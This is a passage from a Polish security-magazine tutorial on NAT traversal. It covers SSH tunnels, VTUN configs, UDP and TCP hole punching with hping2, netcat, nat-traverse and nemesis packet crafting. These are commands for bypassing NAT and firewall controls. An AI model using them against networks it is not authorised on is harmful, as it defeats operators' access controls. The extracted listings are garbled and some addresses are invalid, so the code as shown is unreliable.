końca tunelu mają adres źródłowy in-
terfejsu tunelującego czyli w naszym
przypadku  pakiety  docierające  z  A
do  B  mają  adres  10.1.0.2.  Aby  host
B umiał odpowiedzieć na taki pakiet,
trzeba  skonfigurować  mu  dodatkową
ścieżkę routingu do sieci hosta A.

Sytuacja nie jest tak prosta, jeśli

nie  mamy  uprawnień  administratora
na  hoście  C.  Jednak  i  w  tym  przy-
padku można zestawić tunel. Do te-
go  celu  użyjemy  dodatkowo  tunelo-
wania SSH. Host B połączy się z ho-
stem C przekierowując swój lokalny
port 5000 na port 5000 hosta C:

ssh -f -N -L5000:localhost:5000 uzytkow
nikB@157.158.180.200

Następnie host A wykona połącze-
nie, jednakże przekierowując zdalny
port 5000 na swój lokalny:

ssh -f -N -R5000:localhost:5000 uzytkow
nikA@157.158.180.200

Teraz wystarczy skonfigurować

VTUN jako serwer na hoście A i użyć

VTUN w trybie klienta na hoście B.
Host B łącząc się na adres localhost:

5000  łączy  się  do  serwera  VTUN
działającego w drugiej sieci lokalnej.
Warto przy tym wiedzieć, że ssh za-
pewnia  dodatkową  ochronę  przesy-
łanych danych. De facto w tym roz-
wiązaniu  mamy  podwójną  ochronę.
Pierwszą zapewnia sam mechanizm

VTUN, drugą SSH. Jednak bycie pa-
ranoikiem czasami popłaca.

Przedstawione wyżej techniki

nie wykorzystywały specyficznych

właściwości  NAT-a.  Jest  to  ponie-
kąd ich zaletą, gdyż mamy pewność,
że z dużym prawdopodobieństwem,
w  każdym  przypadku  uda  nam  się
nawiązać  połączenie.  Techniki,  któ-
re polegają na wykorzystaniu zacho-
wania NAT są o wiele ciekawsze, ale
nie dają tej pewności.

Drugie podejście

Jedną z takich technik jest STUN
(Simple Traversal of User Datagram

Protocol (UDP) Through Network

Address Translators (NATs)). Jak
można wywnioskować z nazwy, spo-
sób na przebijanie NAT dotyczy wy-
łącznie protokołu UDP. Jednak, jak
zostanie pokazane poniżej, technikę
tę da się również zastosować wobec
protokołu TCP.

Załóżmy, że komputery A i B

chcą  wysyłać  do  siebie  bezpośred-
nio  datagramy.  Aby  to  osiągnąć  łą-
czą się z serwerem pośredniczącym
C. Przyjmijmy, że sieć komputera A
to  192.168.19.0/24  a  sieć  kompute-
ra  B  to  192.168.18.0/24.  Komputery
A i B posiadają adresy w swoich sie-
ciach kolejno 100 i 200.

Interfejsy publiczne routerów R1 i

R2 to 157.158.181.42 i 157.158.180.235,
a komputer pośredniczący posiada
adres 157.158.180.200.

Gdy komputer A wysyła pakiet

UDP do komputera C poprzez router

R1, to router zapamiętuje, że taka sy-

Rysunek 7.

Zasada działania

protokołu TURN

Kanał

komunikacyjny

INTERNET

Listing 1.

Host C

echo

"1"

proc

sys

net

ipv4

conf

tap1

forwarding

echo

"1"

proc

sys

net

ipv4

conf

tap0

forwarding

echo

"1"

proc

sys

net

ipv4

conf

tap1

proxy_arp

echo

"1"

proc

sys

net

ipv4

conf

tap0

proxy_arp

route

add

192.168

19.0

dev

tap0

route

add

192.168

18.0

dev

tap1

hakin9 Nr 1/2007

www.hakin9.org

Obrona

tuacja  miała  miejsce  i  pozwala  na
dwustronną  komunikację  pomiędzy
komputerami  A  i  C.  Na  przykład,  je-
śli A wyśle pakiet z źródłowym portem
3000 i docelowym 5000 do kompute-
ra  C,  to  w  momencie  przechodzenia
przez router z NAT R1, adres źródłowy
(czyli 192.168.19.100) zostanie zamie-
niony na adres interfejsu zewnętrzne-
go – 157.158.181.42. Jeśli NAT na ro-
uterze R1 zamienia również porty źró-
dłowe to zostanie zamieniony również
ów port. Aby utrudnić sytuację załóż-
my, że R1 jak i R2 zamieniają nume-
ry  portów  połączeń  zza  NAT.  Por-
ty  źródłowe  pakietów  wychodzących
są  z  zakresu  30000-60000.  Wraca-
jąc  do  naszego  pakietu  –  po  trans-
lacji  adresu  źródłowego  i  portu  źró-

dłowego, wędruje on w kierunku ma-
szyny C z ustawionym adresem źró-
dłowym 157.158.181.42 i portem źró-
dłowym 50025. Dodatkowo router R1
zapamiętuje  to  połączenie.  Wszyst-
kie pakiety, które będą pochodzić od
maszyny C, a ich port docelowy bę-
dzie równy 50025 (port źródłowy rów-
ny  5000)  zostaną  poddane  translacji
odwrotnej – czyli zostanie przywróco-
ny adres docelowy maszyny A i orygi-
nalny port – 3000. W ten sposób A i C
mogą dokonywać dwustronnej komu-
nikacji. Jeżeli B również nawiąże po-
łączenie  z  C,  to  C  będzie  miał  łącz-
ność  zarówno  z  A  i  B.  Klienci  A  i  B
muszą dość często komunikować się
z C, aby routery R1 i R2 nie usunę-
ły wpisów w swoich tablicach transla-

cji. Teraz C może poinformować A o
adresie i porcie źródłowym B (tym po
translacji) i powiadomić B o adresach
i  portach  A.  Załóżmy,  że  żądanie  B
połączenia na port 5000 komputera C
z portu 4000 zostało zamienione tak,
że  port  źródłowy  po  przejściu  przez
NAT  wynosi  50000.  Gdy  zaistnieje
możliwość  komunikowania  się  A  i  B
za  pomocą  techniki  TURN,  kompu-
tery mogą dokonać próby połączenia
bezpośredniego.  W  tym  miejscu  na-
leży  trochę  poszerzyć  naszą  wiedzę
o  mechanizmie  NAT.  W  momencie
otwarcia  tak  zwanego  tunelu  i  zma-
powania lokalnego adresu i portu na
zewnętrzny adres i port poszczególne
NAT  inaczej  zachowują  się  w  chwili,
w  której  zewnętrzna  maszyna  (nie
należąca  do  konwersacji)  wyśle  pa-
kiet do routera łączącego sieć lokalną
z  Internetem  na  zmapowany  adres
i port. Sytuację tą obrazuje rysunek 9.

Jeszcze więcej

rodzajów NAT

Równolegle  z  zaproponowanym
wcześniej  podziałem,  literatura  kla-
syfikuje  NAT  ze  względu  na  zacho-
wanie w takich sytuacjach jako:

•   Full cone NAT;
•   Restricted cone NAT;
•   Port restricted cone NAT;
•   Symmetric NAT.

Wszystkie  mają  wspólną  cechę.  A
mianowicie  taką,  że  konsekwencją
przejścia  pakietu  przez  router  jest
zmiana  adresu  na  zewnętrzny,  pod-
czas  gdy  port  źródłowy,  o  ile  to  jest
możliwe,  zostanie  zachowany.  Ce-
chami charakterystycznymi pierwsze-
go jest między innymi to, że host nie
należący  do  konwersacji,  chcąc  wy-
słać  pakiet  do  lokalnego  komputera,
wysyła  go  na  adres  zewnętrzny  ho-
sta za NAT. Ponadto jeśli host w sieci
lokalnej użyje tego samego portu źró-
dłowego do skomunikowania się z in-
nym hostem w Internecie, to NAT nie
zmieni portu źródłowego po translacji.
W  swoim  działaniu  przypomina  czę-
ściowo dwukierunkowy NAT, o którym
wspomniano wcześniej.

Drugi – Restricted cone NAT, za-

chowuje się tak jak Full cone NAT z tą

Listing 2.

Plik konfiguracyjny VTUN na komputerze pośredniczącym C

options

{

port

5000

;

syslog

daemon

;

ifconfig

sbin

ifconfig

;

}

default

{

speed

;

}

hosta

{

passwd

;

type

ether

;

device

tap0

;

proto

tcp

;

compress

lzo

;

encrypt

yes

;

stat

yes

;

keepalive

yes

;

{

ifconfig

"%% 10.1.0.1 netmask 255.255.255.0"

;

}

;

down

{

# Shutdown tap device.

ifconfig

"%% down"

;

}

;

}

hostb

{

passwd

;

type

ether

;

device

tap1

;

proto

tcp

;

compress

lzo

;

encrypt

yes

;

stat

yes

;

keepalive

yes

;

{

ifconfig

"%% 10.2.0.1 netmask 255.255.255.0"

;

}

;

down

{

ifconfig

"%% down"

;

}

;

}

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

różnicą,  że  wysłany  przez  zewnętrz-
nego hosta pakiet dotrze do sieci lo-
kalnej  wyłącznie  w  przypadku,  gdy
host  z  wewnątrz  sieci  wysłał  wcze-
śniej  pakiet  do  zewnętrznego  hosta.
Port  restricted  cone  NAT  dodaje  ob-
ostrzenie w postaci konieczności za-
chowania  numerów  portów.  Wysłany
przez zewnętrznego hosta pakiet uży-
wający portu źródłowego X i portu do-
celowego Y dotrze do hosta za NAT
wyłącznie wtedy, gdy host ten wyśle
najpierw pakiet do zewnętrznego ho-
sta,  jego  port  docelowy  to  X,  a  jego
port źródłowy po opuszczeniu route-
ra NAT będzie zmapowany na Y. Naj-
trudniejszy do przebicia jest Symme-

tric  NAT,  gdyż  ograniczenie  dotyczy
w  tym  przypadku  nie  tylko  adresów,
ale także portów źródłowych i doce-
lowych, a wszystkie parametry są uni-
kalne  dla  każdego  połączenia.  Tylko
komputer, który używa tej samej pary
parametrów,  odpowiadając  pakietem
na adres i port źródłowy, skomunikuje
się z hostem zza NAT. Dodatkowo, je-
śli komputer z sieci lokalnej użyje tego
samego portu źródłowego do skomu-
nikowania się z innym adresem, to po
opuszczeniu  NAT,  port  źródłowy  zo-
stanie  zmieniony.  Zachowanie  wyżej
opisanych NAT zobrazowane jest na
rysunkach nr 11,12 oraz 13.

Symetryczny NAT jest często

określany jako not well behaved.
Jednak nawet używając tego typu
NAT jesteśmy w stanie tworzyć bez-
pośrednie połączenia. Polegają one
na przewidywaniu portu źródłowego,
który zostanie wybrany jako kolejny.

Tunel UDP

Załóżmy, że NAT routerów R1 i R2 to
Port restricted cone NAT, ponieważ
takie są najczęściej spotykane obec-
nie. Port restricted cone NAT ma tą
ciekawą właściwość, że jest well be-

haved. Oznacza to ni mniej ni więcej,
że tak długo, jak host A będzie używał
portu  źródłowego  równego  3000  do
wysłania pakietu, tak długo NAT bę-
dzie używał tego samego portu (czyli
50025).  Wracając  do  sytuacji  opisa-
nej  wcześniej,  hosty  A  i  B  mają  po-
łączenia  z  C,  host  A  wysyła  pakiet
w  kierunku  routera  R2  z  ustawio-
nym  portem  źródłowym  3000  i  por-

tem  docelowym  50000.  W  momen-
cie  translacji  –  na  routerze  R1  zo-
stanie  zamieniony  adres  i  port  źró-
dłowy tak samo, jak w przypadku łą-
czenia  się  z  hostem  C.  Dodatkowo
zostanie  odnotowane,  aby  wpusz-
czać  do  wewnątrz  ruch  pochodzący
od  routera  R2  przychodzący  z  por-
tu 50000. Router R2 odebrawszy pa-

kiet  odrzuci  go,  gdyż  host  B  jeszcze
nie przestawił swojego NAT tak, aby
akceptował  połączenia  z  R1.  W  za-
leżności od konfiguracji routera może
zostać  wysłany  pakiet  ICMP  port
unreachable.

Załóżmy, że NAT R2 nie wysłał

takiego pakietu. Gdy B wyśle pakiet
(używając oczywiście tego samego

Rysunek 8.

Schemat przykładowej sieci

200.158.180.200

157.158.181.42

192.168.19.100

192.168.18.200

157.158.180.235

INTERNET

Połączenie

Rysunek 9.

Host nie należący do konwersacji łączący się do zmapowanego

połączenia na routerze

200.158.180.200

157.158.181.42

192.168.19.100

157.158.180.235

INTERNET

Połączenie

SRC:157.158.181.42:50025

DST 157.158.180.200:5000

SRC:157.158.180.235:4000

DST 157.158.181.42:50025

hakin9 Nr 1/2007

www.hakin9.org

Obrona

portu źródłowego) do R1, to ten za-
mieni adres i port docelowy pakietu
gdyż został wcześniej przeprogramo-
wany  przez  próbę  połączenia  się  A
z B. Teraz A i B mogą się bezpośred-
nio  komunikować  wysyłając  pakie-
ty UDP na swoje zewnętrzne adresy
i  porty.  W  całej  komunikacji  zaginął
wyłącznie jeden pakiet. Jest to cena,

jaką należy zapłacić za możliwość
bezpośredniego połączenia.

Powyższy schemat ma zastoso-

wanie w przypadku, gdy NAT na R1
i R2 zmieniają porty źródłowe.
Sprawa się nieco upraszcza w mo-
mencie, gdy NAT nie zamienia por-
tów źródłowych. W tym przypadku
nic nie stoi na przeszkodzie, by do-

konać próby nawiązania połączenia
bez pośrednika. Aby otworzyć tunel
w NAT R1 należy wysłać z A pakiet
w kierunku R2.

Tunel UDP w praktyce

Do  stworzenia  tunelu  UDP  po-
trzebne  będą  nam  następują-
ce  narzędzia:  netcat,  hping2  oraz

Rysunek 10.

Dzialanie Full Cone NAT

Komputer A

IP: 192.168.19.100

Scr: 192.168.19.3000

Dst: 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.200:5000

Scr: 192.168.19.5000

Dst: 192.168.19.100:3000

Dst: 157.158.180.200:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 158.158.181.42:3000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:7000

Dsc 157.158.181.42:3000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Komputer B

IP: 157.158.180.235

Rysunek 11.

Działanie Restricted Cone NAT

Komputer A

IP: 192.168.19.100

Scr: 192.168.19.3000

Dst: 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.235:5000

Dst: 192.168.19.100:3000

Dsc 157.158.180.235:5000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.235:7000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:3000

Dsc 157.158.181.42:3000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Komputer B

IP: 157.158.180.235

Scr: 192.168.19.5000

Dst: 192.168.19.100:3000

Dst: 157.158.180.200:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 192.168.19.100:3000

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

skrypt napisany w języku Perl z Li-
stingu nr 3.

Skrypt z Listingu nr 3 uruchamia-

my na komputerze C. Jego zada-
niem jest nasłuchiwanie na porcie nr
5000 i wypisywanie na ekran termi-
nala parametrów hostów łączących

się z C oraz wiadomości jakie owe
hosty wysyłają.
Na komputerze A uruchamiamy

netcata:

netcat -l -u -p 3000

Spowoduje  to  nasłuchiwanie  ma-
szyny A na porcie 3000. Zawartość
wszystkich  pakietów  zaadresowa-
nych  do  A  i  posiadających  port  do-
celowy  3000  zostanie  wypisana  na
ekranie  terminala.  Następnie  otwie-
ramy  tunel  w  NAT  na  obu  maszy-

Rysunek 12.

Działanie Port Restricted Cone NAT

Komputer A

IP: 192.168.19.100

Scr: 192.168.19.3000

Dst: 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.235:5000

Dst: 192.168.19.100:3000

Dsc 157.158.180.235:5000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.235:7000

Dsc 157.158.181.42:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Komputer B

IP: 157.158.180.235

Scr: 157.158.180:5000

Dst: 192.168.19.100:3000

Dst: 157.158.180.200:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 157.158.181.42:3000

Rysunek 13.

Działanie Symmetric NAT

Komputer A

IP: 192.168.19.100

Scr: 192.168.19.3000

Dst: 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.200:5000

Dst: 157.158.181.42:7000

Dsc 157.158.180.235:5000

Dst: 192.168.19.100:3000

Dsc 157.158.180.235:5000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:7000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Komputer B

IP: 157.158.180.235

Scr: 157.158.180.200:5000

Dst: 192.168.19.100:3000

Dst: 157.158.180.200:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 157.158.181.42:3000

hakin9 Nr 1/2007

www.hakin9.org

Obrona

nach. Na A musimy użyć portu źró-
dłowego równego 3000, ponieważ
na tym porcie netcat nasłuchuje pa-
kietów:

hping2 157.158.180.200 -2 -s 3000 -p
5000 -c 1

spowoduje to pojawienie się na ter-
minalu C komunikatu

[157.158.181.42: 3000]>

świadczącego  o  tym,  że  pakiet
zza  NAT  dotarł  do  R1  nie  zmie-
nił  portu  źródłowego.  Następnie

czynność tą powtarzamy na kom-
puterze B:

hping2 157.158.180.200 -2 -s 4000 -p
5000 -c 1

co z kolei powinno na C spowodo-
wać powstanie komunikatu:

Rysunek 14.

Poszczególne fazy tworzenia tunelu UDP

257.158.180.200

Pakiet UDP

DST=157.158.180:5000

SRC=157.158.181:50000

Pakiet UDP

DST=157.158.181.42:5000

SRC=157.158.180.200:50000

O zawartości:

"157.158.180.235:50025"

Pakiet UDP

DST=157.158.180.235:50025

SRC=157.158.180.200:50000

O zawartości:

"157.158.181.42:50000"

Pakiet UDP

DST=157.158.180:5000

SRC=157.158.181:50000

257.158.180.200

192.168.18.200

192.168.19.100

157.158.181.42

157.158.180.235

157.158.181.42

157.158.180.235

157.158.181.42

157.158.180.235

192.168.19.100

192.168.18.200

192.168.19.100

257.158.180.200

Pakiet UDP

DST=157.158.180.235:50025

SRC=157.158.42:50000

Pakiet UDP

DST=157.158.181.42:50000

SRC=157.158.180.235:50025

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

[157.158.180.235: 4000]>

Teraz na komputerze A przestawia-
my nat w R1 tak, aby akceptował
pakiety od R2:

hping2 157.158.180.235 -2 -s 3000 -p
4000 -c 1

Na B przestawiamy NAT R2 tak, aby
akceptował pakiety od R1:

hping2 157.158.181.42 -2 -s 4000 -p
3000 -c 1

Teraz możemy na B uruchomić net-
cata z parametrami:

nc -p 4000 157.158.181.42 3000 -u

Po wykonaniu ostatniego polecenia,
wszystko co wpiszemy w okienko na
hoście B pojawi się w okienku netcat
hosta A.

Tworzenie tunelu tym sposobem

nie jest zbyt użyteczne. Na szczęście
powstały narzędzia które automatycz-
nie  wysyłają  sekwencje  wiadomości
tworzących  połączenie.  Dość  cieka-
wym  narzędziem  jest  skrypt  perlowy

nat-traverse dostępny na [13]. Aby
osiągnąć identyczny rezultat jak w po-
wyższym przykładzie, wystarczy na
maszynie A wykonać polecenie:

nat-traverse 3000:157.158.180.235:4000

a na maszynie B:

nat-traverse 4000:157.158.181.42:3000

Program ten posiada jedną ciekawą
opcję. Jest nią możliwość wywołania
dowolnego polecenia i przekierowa-
nie  strumieni  –  wejściowego  i  wyj-
ściowego  w  ten  sposób,  że  wszyst-
ko  co  polecenie  wypisze  zostanie
wysłane przez gniazdo do drugiego
komputera.  Wszystko  co  przyjdzie
z  tunelu  zostanie  przekierowane  ja-
ko strumień standardowego wejścia
do  polecenia.  Za  pomocą    tej  opcji
można przesyłać katalogi pomiędzy
komputerami:

hostA# nat-traverse 3000:
157.158.180.235:4000 –cmd=tar cj
katalog
hostB# nat-traverse 4000:
157.158.181.42:3000 –cmd=cat >
katalog.tar.bz2

Możemy również za pomocą tego
narzędzia przekazywać połączenia
TCP. Wystarczy wykorzystać do te-
go celu program netcat:

hostA# nat-traverse 3000:
157.158.180.235:4000 –cmd=nc -lvp 5000
hostB# nat-traverse 4000:
157.158.181.42:3000 –cmd=nc -v
localhost 22

Rysunek 15.

Czasy transmisji pakietów

NAT A

NAT B

Rysunek 16.

Trzy fazy nawiązywania połączenia

Komputer R1

IP: 157.158.181.42

S=157.158.181.42.3000

D=157.158.180.200:5000

SEQ:10000

ACK:0

FLAGS: SYN

S=157.158.181.200.5000

D=157.158.181.42:3000

SEQ:20000

ACK:10001

FLAGS: SYN,ACK

S=157.158.181.200.5000

D=157.158.181.42:3000

SEQ:20000

ACK:10001

FLAGS: SYN,ACK

Komputer C

IP: 157.158.180.200

Listing 3.

Plik konfiguracyjny

VTUN na komputerze B

options

{

port

5000

;

timeout

;

ifconfig

sbin

ifconfig

;

}

hostb

{

passwd

;

type

ether

;

device

tap1

;

proto

tcp

;

{

ifconfig

"%% 10.2.0.2

netmask 255.255.255.0"

;

}

;

down

{

ifconfig

"%% down"

;

}

;

}

hakin9 Nr 1/2007

www.hakin9.org

Obrona

Teraz  można  połączyć  się  z  hosta
A  do  serwera  ssh  działającego  na
hoście  B  poprzez  połączenie  z  in-
terfejsem  loopback  na  port  5000.
Za  pomocą  netcat  można  również
przekazywać połączenia UDP. Sko-
ro  można  przekazywać  połącze-
nia UDP oraz TCP, to nic nie stoi na
przeszkodzie  aby  uruchomić  VPN
działający  poprzez  ten  tunel.  Wy-
starczy  przekazać  lokalny  port  tcp
5000 do zdalnego hosta, na którym
działa  VTUN  oraz  połączyć  się
klientem  VTUN  do  localhost:5000.
Należy  przy  tym  pamiętać,  że  po
pierwsze  tracimy  niezawodność
protokołów takich jak TCP a po dru-
gie sam proces enkapsulacji posia-
da  duży  narzut  danych  (TCP  w  IP
w ethernet w UDP).

Jeśli firewall na routerach jest

skonfigurowany tak, aby odpowiadać

komunikatami ICMP na pakiety UDP
których „nie zna”, to stworzenie tune-
lu może się nie powieść, ponieważ
niektóre NAT reagują na komunika-
ty ICMP. Jeśli pakiet hosta A dotrze
do NAT B przed wysłaniem przez B
UDP w kierunku A, to może dojść do
sytuacji, w której R2 odpowie pakie-
tem ICMP (port unreachable) do R1,
co w przypadku niektórych NAT mo-
że uniemożliwić połączenie.

Przeszkoda ICMP

Jeśli nasz NAT reaguje na tego
typu pakiety ICMP, to można za-
mienić jeden typ ICMP na inny.

Wystarczy pierwszemu pakie-

towi  wysłanemu  w  kierunku  dru-
giego  routera  ustawić  odpowiednio
niską  wartość  TTL.  Wartość  TTL
jest zmniejszana wraz z przejściem
przez  każdy  router.  Gdy  osiągnie

zero, następuje odrzucenie pakietu
i wysyłanie komunikatu ICMP nr 36

time exceeded in-transit.

Kolejną kwestią jest synch-

ronizacja  całej  operacji.  Jeśli  NAT
wysyła  pakiety  ICMP  oznacza  to,
że  host  w  sieci  lokalnej  nie  wysłał
jeszcze  pakietu  przestawiającego
NAT. Niektóre wersje NAT w takiej
sytuacji  zaczynają  zmieniać  porty
źródłowe  wychodzących  pakietów,
co znacznie utrudnia komunikację.

Aby pakiety dotarły do obu NAT

dokładnie w tym samym momencie
należy zapewnić aby:

t1+t3=t2+t4

z czego wynika że każdy z hostów
musi przed wysłaniem pakietu po-
czekać:

T = max(t1+t3, t2+t4) – z

gdzie z jest sumą czasów transmi-
sji pakietów danego hosta z C oraz
czasu wędrówki pakietu do przeciw-
ległego NAT

Jednak w większości przypad-

ków tak dokładna synchronizacja nie
jest potrzebna. Wystarczy sprawić,
aby hosty A oraz B wysłały pakiety
w tym samym momencie czyli:

T = max(t1, t2) – z

Listing 4.

Skrypt w języku Perl dzięki któremu dowiemy się jak

mapowane są połączenia w naszym NAT

#!/usr/bin/perl -w

use

strict

;

use

Socket

;

(

sock

, $

remote

, $

message

);

sock

Socket

INET

new

(

LocalPort

5000

Proto

udp

)

die

"socket: $@"

;

while

(

remote

sock

recv

(

message

1024

))

{

(

port

, $

addr

)

sockaddr_in

(

remote

);

host_str

inet_ntoa

(

addr

);

printf

"[%s:%5d]> %s

, $

host_str

, $

port

, $

message

;

}

die

"recv: $!"

;

Rysunek 17.

Używanie TTL do stworzenia połączenia P2P

NAT_A

SYN

(Małe TTL

SYN

(Małe TTL

SYN

(Małe TTL

SYN

(Małe TTL

SYN

(Małe TTL

SYN-ACK

ACK

SYN

(Małe TTL

NAT_B

NAT_A

ICMP

ACK

SYN

ACK

ICMP

Wartosc TTL

Spoof

SYN-ACK

Spoof

SYN-ACK

Wartosc TTL

NAT_A

NAT_B

Wartość TTLA

Wartość TTLB

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

Czas na TCP

Techniki  UDP  hole  punching  są  za-
zwyczaj  skuteczne,  ponieważ  pro-
tokół  UDP  nie  jest  tak  skomplikowa-
ny jak na przykład TCP. Jeśli używa-
my innych protokołów, takich jak TCP,
to sytuacja się skomplikuje, ponieważ
posiadaon określony schemat nawią-
zywania połączenia, którego popraw-
ności  mogą  pilnować  nie  tylko  po-
szczególne  implementacje  NAT,  ale
również  systemy  antywłamaniowe,

firewall’e itp. Jeśli już opanujemy tech-
nikę przebijania NAT za pomocą UDP,
to  zawsze  możemy  zastosować  en-
kapsulacje TCP czy nawet całego IP
w UDP tworząc pełny tunel IP. Pomi-
mo  iż  TCP  jest  protokołem  bardziej
złożonym niż UDP istnieją metody po-
zwalające  na  stworzenie  bezpośred-
nich  połączeń  pomiędzy  komputera-
mi zza różnych NAT.

Na początek należy przyjrzeć się

metodom nawiązywania połączenia
TCP i zastanowić się, co przy sto-
sowaniu technik może zakończyć się
niepowodzeniem na poszczególnych
etapach połączenia.

Zainicjalizowanie połączenia na-

stępuje  w  trzech  etapach.  W  pierw-
szym  etapie  klient  wysyła  pakiet
z ustawioną flagą SYN, która świad-
czy  o  chęci  nawiązania  połączenia.
Jeśli  zdalny  host  zechce  zaakcepto-
wać  połączenie,  to  w  drugim  etapie
odsyła pakiet z ustawioną flagą SYN
oraz ACK. W trzecim etapie inicjator
połączenia  potwierdza  odebranie  in-
formacji od serwera wysyłając pakiet
z ustawioną flagą ACK. Trzystopnio-
wy  schemat  nawiązywania  połącze-
nia ma dodatkowo na celu zsynchro-
nizowanie  numerów  sekwencyjnych
używanych  do  zapewnienia  popraw-
ności transmitowanych danych. Flaga
SYN ustawiana w pakietach informu-
je, że zawiera on numer sekwencyjny.
Każde połączenie TCP ma dwa takie
numery. Każda ze stron posiada wła-
sną  liczbę  reprezentującą  pewnego
rodzaju licznik wysłanych danych.

Aby zastosować techniki przebija-

nia firewall-i używając protokołu TCP,
należy  spowodować,  by  obie  strony
połączenia przeszły poprawnie przez
trzy etapy. Jeśli któryś z etapów zo-
stanie  pominięty,  to  nawiązanie  po-
łączenia  wymaga  zastosowania  do-

datkowych operacji. Należy wiedzieć,
że niektóre implementacje NAT pilnu-
ją tego, aby poszczególne kroki połą-
czenia następowały dokładnie po so-
bie. Np. nie wpuszczą pakietu z usta-
wioną flagą SYN do sieci lokalnej, je-
śli oczekiwany jest pakiet z ustawio-
nymi  flagami  SYN-ACK.  Dodatko-
wo NAT mogą pilnować zachowania
poprawności  numerów  sekwencyj-
nych  w  trzech  etapach  połączenia.
Jądra  Linux  z  serii  2.4  są  bardzo
tolerancyjne jeśli chodzi o przestrze-
ganie tych zasad.

Aby pakiety przechodziły z jed-

nej  sieci  lokalnej  do  drugiej  wystar-
czy wysyłać dużą ilości odpowiednio
sformatowanych  ramek  z  A  oraz  B.
Na  hoście  A  uruchamiamy  program
nemesis, który będzie wysyłał ramki
z ustawionymi flagami SYN-ACK:

#while true; do nemesis tcp -x 3000
-y 3000 -fSA -s 0 -a 0 -S
192.168.19.100 -D 157.158.180.235; done

Z hosta B musimy wysyłać ramki
TCP z ustawioną flagą SYN:

#while true; do nemesis tcp -x 3000
-y 3000 -fS -s 0 -a 0 -S 192.168.18.200-D
157.158.181.42; done

Aby sprawdzić czy do B dociera-
ją ramki A z ustawionymi flagami

SYN-ACK, to najprościej posłużyć
się tcpdumpem:

#tcpdump -n 'tcp[13]==0x12'

Filtr tcpdump powinien przepuścić
tylko te ramki, które mają ustawione
flagi SYN oraz ACK.

Nie takie TCP straszne

Próba  połączenia  dwóch  kompute-
rów w dwóch różnych sieciach lokal-
nych  wykorzystujących  TCP  może
przebiegać  prawie  analogicznie  do
przypadku  posługiwania  się  protoko-
łem  UDP.  Przypuśćmy,  że  NAT  na
R1 i R2 nie modyfikuje portów źródło-
wych. Każdy z klientów A i B otwiera
połączenie nasłuchujące (dla uprosz-
czenia załóżmy, że na porcie 3000).
Następnie  obydwa  komputery  wyko-
nują  połączenie  do  C  na  port  5000

W Sieci

• http://news.zdnet.com/2100-1009_22-842973.html – artykuł przewidujący wy-

czerpanie adresów IP w 2005roku;

• http://bgp.potaroo.net/ipv4/ – szczegółowy raport przewidujący wykorzystanie ad-

resów IP w przyszłości;

• http://www.cisco.com/web/about/ac123/ac147/archived_issues/ipj_8-3/ipv4.html

– raport na temat „konsumpcji” adresów IP;

• http://nutss.gforge.cis.cornell.edu/pub/imc05-tcpnat/ – analiza i opis technik prze-

bijania NAT i firewalli;

• http://www.brynosaurus.com/pub/net/p2pnat/ – opis technik przebijania NAT

z użyciem UDP i TCP;

• http://freshmeat.net/projects/nat-traverse/ – biblioteka wykorzystująca opisane

w artykule techniki;

• http://nutss.gforge.cis.cornell.edu/stunt.php – strona domowa STUNT (Simple

Traversal of UDP Through NATs and TCP);

• http://freshmeat.net/projects/stund/ – strona domowa klienta i serwera używają-

cego STUN;

• http://vtun.sourceforge.net/ – oprogramowanie pozwalające stworzyć wirtualny tu-

nel ethernetowy enkapsulowany w TCP lub UDP;

• http://openvpn.net/ – implementacja VPN bardziej zaawansowana niż VTUN;
• Linux Server Hacks, Oreilly 2003 – znajdziemy w tej książce wiele ciekawych po-

rad. Między innymi opis tunelowania VPN w SSH, który został skrótowo opisany
w artykule;

•   http://samy.pl/chownat/ – strona z której możemy pobrać program chownat;
•   http://linide.sourceforge.net/nat-traverse/ – tutaj znajdziemy skrypt nat-traverse;
•   http://www.cis.nctu.edu.tw/~gis87577/xDreaming/XSTUNT/index.html  –  tutaj

znajduje się biblioteka XSTUNT oraz przykładowy program.

hakin9 Nr 1/2007

www.hakin9.org

Obrona

używając portu 3000 jako portu źró-
dłowego  (muszą  przed  połączeniem
użyć  polecenia  „bind”  na  otwartym
gnieździe).  W  tym  momencie  klienci
A i B nasłuchują na porcie 3000 oraz
posiadają  połączenie  z  hostem  C
(port źródłowy 3000 a port docelowy
5000). Od serwera S dowiadują się o
swoich publicznych interfejsach. Host
